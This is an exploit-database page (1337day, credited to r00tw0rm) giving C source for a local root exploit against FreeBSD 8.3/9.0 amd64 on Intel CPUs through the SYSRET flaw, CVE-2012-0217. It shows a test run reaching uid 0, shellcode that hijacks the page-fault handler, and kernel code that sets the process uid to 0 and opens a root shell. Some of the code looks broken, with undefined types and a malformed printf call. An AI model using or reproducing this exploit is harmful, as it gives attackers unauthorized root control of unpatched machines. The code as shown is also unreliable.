Intel SYSRET FreeBSD Privilege Escalation Exploit



EKU-ID: 2464 CVE: OSVDB-ID:
Author: r00tw0rm Published: 2012-07-17 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


/*

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : 1337day.com                                   0
1  [+] Support e-mail  : submit[at]1337day.com                         1
0                                                                      0
1               #########################################              1
0               Private 1337day exploit by Inj3ct0r team               1
1               #########################################              0
0                                                                      1
1                                                                      0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1


#
# Name      : Intel SYSRET FreeBSD Privilege Escalation Exploit
# Date      : july, 16 2012
# Platform  : freebsd
# Type      : local exploit
# Web       : www.r00tw0rm.com | www.1337day.com
# Tested on : FreeBSD 8.3-RELEASE amd64, FreeBSD 9.0-RELEASE amd64
# Greetz :  r0073r, r4dc0re, Sid3^effects, L0rd CrusAd3r, KedAns-Dz, Angel Injection, gunslinger, JF, CrosS (1337day.com)
#                      Xenu, Versus71, alsa7r, mich4th3c0wb0y, FInnH@X, th3breacher, s3rver.exe (r00tw0rm.com)


PoC testing .:
satsura@0xr00tw0rm ~/Р/exploit_dev> uname -irspm
FreeBSD 9.0-RELEASE amd64 amd64 GENERIC
satsura@0xr00tw0rm ~/Р/exploit_dev> id
uid=1001(satsura) gid=1001(satsura) группы=4(adm),20(dialout),21(fax),24(cdrom),25(floppy),26(tape),29(audio),30(dip),44(video),46(plugdev),104(fuse),105(lpadmin),112(netdev),119(admin),126(sambashare),1001(satsura)
satsura@0xr00tw0rm ~/Р/exploit_dev> ./CVE-2012-0217 
[!] Running CVE-2012-0217
[+] Checking OS bit mmap()
[+] Fill with NOP (0x90) last mem page
[+] Final Stage
[+] w00t! w00t! r0073d! xDDDD
root@0xr00tw0rm:~/Рабочий стол/exploit_dev# id
uid=0(root) gid=0(root) группы=4(adm),20(dialout),21(fax),24(cdrom),25(floppy),26(tape),29(audio),30(dip),44(video),46(plugdev),104(fuse),105(lpadmin),112(netdev),119(admin),126(sambashare),1001(satsura)
root@0xr00tw0rm:~/Рабочий стол/exploit_dev# 


*/


#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>

#include <sys/ucred.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/proc.h>
#include <sys/param.h>
#include <sys/linker.h>

#include <machine/cpufunc.h>
#include <machine/segments.h>
#include <machine/intr_machdep.h>

#define _WANT_UCRED
#define BSS 0
#define STATIC_OFFSET 0x250

struct gate_descriptor *gt;
void *uaddr, *ustack;

unsigned char evilcode[] = 
  "\x48\xb8\x18\x00\x00\x00\x00\x00\x00\x00" 
  "\x48\xba\x00\x00\x20\x00\x00\x8e\x00\x00" // hijack of the handler PF at 0x00000000ZZZZXXXX
  "\x48\xbc\xb0\x41\x18\x81\xff\xff\xff\xff" 
  "\x0f\x05"; 	 			                 // syscall 

int validate_target(char * sysname, char * release, char * machine)
{
    validtarget_t targets[] = {
        { "FreeBSD", "8.3-RELEASE", "amd64" },
        { "FreeBSD", "9.0-RELEASE", "amd64" },
        { 0, 0, 0 }
    };

    int found = 0;
    int i = 0;

    while (!found && targets[i].sysname) {
        found = !strcmp(targets[i].sysname, sysname)
            && !strcmp(targets[i].release, release)
            && !strcmp(targets[i].machine, machine);
        ++i;
    }
    return found;
}

int is_intel()
{
    char cpu_vendor[13];

    get_cpu_vendor(cpu_vendor);
    return !strcmp(cpu_vendor, "GenuineIntel");
}

struct restore_entry {
	u_char idx;
	u_char dpl;
	void *addr;
	u_char name[10];
} entries[]  = {{ 0, 	  0, NULL, "idt0" },
		{ 0,  	  0, NULL, "Xrsvd"},
		{ IDT_DE, 0, NULL, "Xdiv" },
		{ IDT_DB, 0, NULL, "Xdbg" },
		{ IDT_NMI,2, NULL, "Xnmi" },
		{ IDT_BP, 0, NULL, "Xbpt" },
		{ IDT_OF, 0, NULL, "Xofl" }, 
		{ IDT_BR, 0, NULL, "Xbnd" }, 
		{ IDT_UD, 0, NULL, "Xill" },
		{ IDT_NM, 0, NULL, "Xdna" },
		{ IDT_DF, 1, NULL, "Xdblfault" },
		{ IDT_FPUGP, 0, NULL, "Xfpusegm" },
		{ IDT_TS, 0, NULL, "Xtss" },
		{ IDT_NP, 0, NULL, "Xmissing" },
		{ IDT_SS, 0, NULL, "Xstk"  },
		{ IDT_GP, 0, NULL, "Xprot" },
		{ IDT_PF, 0, NULL, "Xpage" },
		{ IDT_MF, 0, NULL, "Xfpu"  },
		{ IDT_AC, 0, NULL, "Xalign"},
		{ IDT_MC, 0, NULL, "Xmchk" },
		{ IDT_XF, 0, NULL, "Xxmm"  }};

void *
resolve_addr(char *func, int section)
{
	u_int64_t addr;
	char cmd[128];
	snprintf(cmd, sizeof(cmd) - 1, "objdump -j %s -x /boot/kernel/kernel | grep %s", (section == BSS) ? ".bss" : ".text", func); 
	
	FILE *fd = popen(cmd, "r");
	if(fd == NULL)
		return NULL;

	fread(cmd, sizeof(cmd), 1, fd);
	sscanf(cmd, "%lx %*s", &addr);

	return (void *)addr;	
}

void
exit_usermode(void)
{
	setenv("PS1", "Inj3ct0r> ", 1);
	system("/bin/bash");
	exit(0);
}

void
setidt(idx, func, typ, dpl, ist)
        int idx;
        void *func;
        int typ;
        int dpl;
        int ist;
{
	struct gate_descriptor *ip;

        ip = gt + idx;
        ip->gd_looffset = (uintptr_t)func;
        ip->gd_selector = GSEL(GCODE_SEL, SEL_KPL);
        ip->gd_ist = ist;
        ip->gd_xx = 0;
        ip->gd_type = typ;
        ip->gd_dpl = dpl;
        ip->gd_p = 1;
        ip->gd_hioffset = ((uintptr_t)func)>>16 ;
}

void
kernel_code(void)
{
        int x, i;
	struct thread *td;

	__asm("movq %r10, %rsp");	

        for(x = 0; x < 29; x ++) {
                setidt(x, (void *)entries[1].addr, SDT_SYSIGT, SEL_KPL, 0);
        }

        for(x = 2; x < sizeof(entries) / sizeof(struct restore_entry); x ++) {
                setidt(entries[x].idx, entries[x].addr, SDT_SYSIGT, SEL_KPL, entries[x].dpl);
        }
	
	asm volatile ( "swapgs\n" 
		       "movq %%gs:0, %0":"=r"(td) );
	
	td->td_proc->p_ucred->cr_uid = 0;
	
	
	asm volatile ("movq %0, %%rcx\n"
		      "movq %1, %%rsp\n"
		      "swapgs\n"
		      "sysretq"::"r"(uaddr),"r"(ustack)); 
}

int
main(int argc, char *argv[])
{
	int x, section_type = BSS;
	u_short high, low;
	u_int64_t kaddr;

	printf("[!] Running Exploit CVE2012-0217\n");
	printf("[+] Checking OSbit Map");
	void *maddr = mmap((void *)0x7ffffffff000, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANON, -1, 0);
	if(maddr == MAP_FAILED) {
		perror("[-] Fuck! Error mmaped address\n");
		return -1;
	}
    printf("[+]Fill with NOP 0x90 and copy Evilcode\n");
	memset(maddr, 0x90, 0x1000);
	memcpy(maddr + 0x1000 - (sizeof(evilcode) - 1), evilcode, sizeof(evilcode) - 1);
	printf("[-] Resolve all addresses \n", );
	
        for(x = 0; x < sizeof(entries) / sizeof(struct restore_entry); x ++) {
                entries[x].addr = resolve_addr(entries[x].name, section_type);
                if(entries[x].addr == NULL) {
                        printf("[-] Can't resolve address for function %s\n", entries[x].name);
                        return -1;
                }
                if (x == 0) section_type ++;
        }

	gt = entries[0].addr;
	printf("[+] Final Stage \n");
	kaddr = (u_int64_t)&kernel_code;
	uaddr = &exit_usermode;
	__asm("movq %%rsp, %0" : "=m"(ustack));
	printf("[+] w00t! w00t! r0073d xDDDD\n");
	high = (kaddr >> 16);
	low  = (kaddr);

	char *ptr = (char *)0x800000000000 - 20;
	*(u_short *)ptr = low;
	ptr = (char *)0x800000000000 - 14;
	*(u_short *)ptr = high; 
	ptr = (char *)0x800000000000 - 10;
	*(u_int64_t *)ptr = (u_int64_t)((char *)gt + STATIC_OFFSET);

	(*(void(*)()) maddr)();
}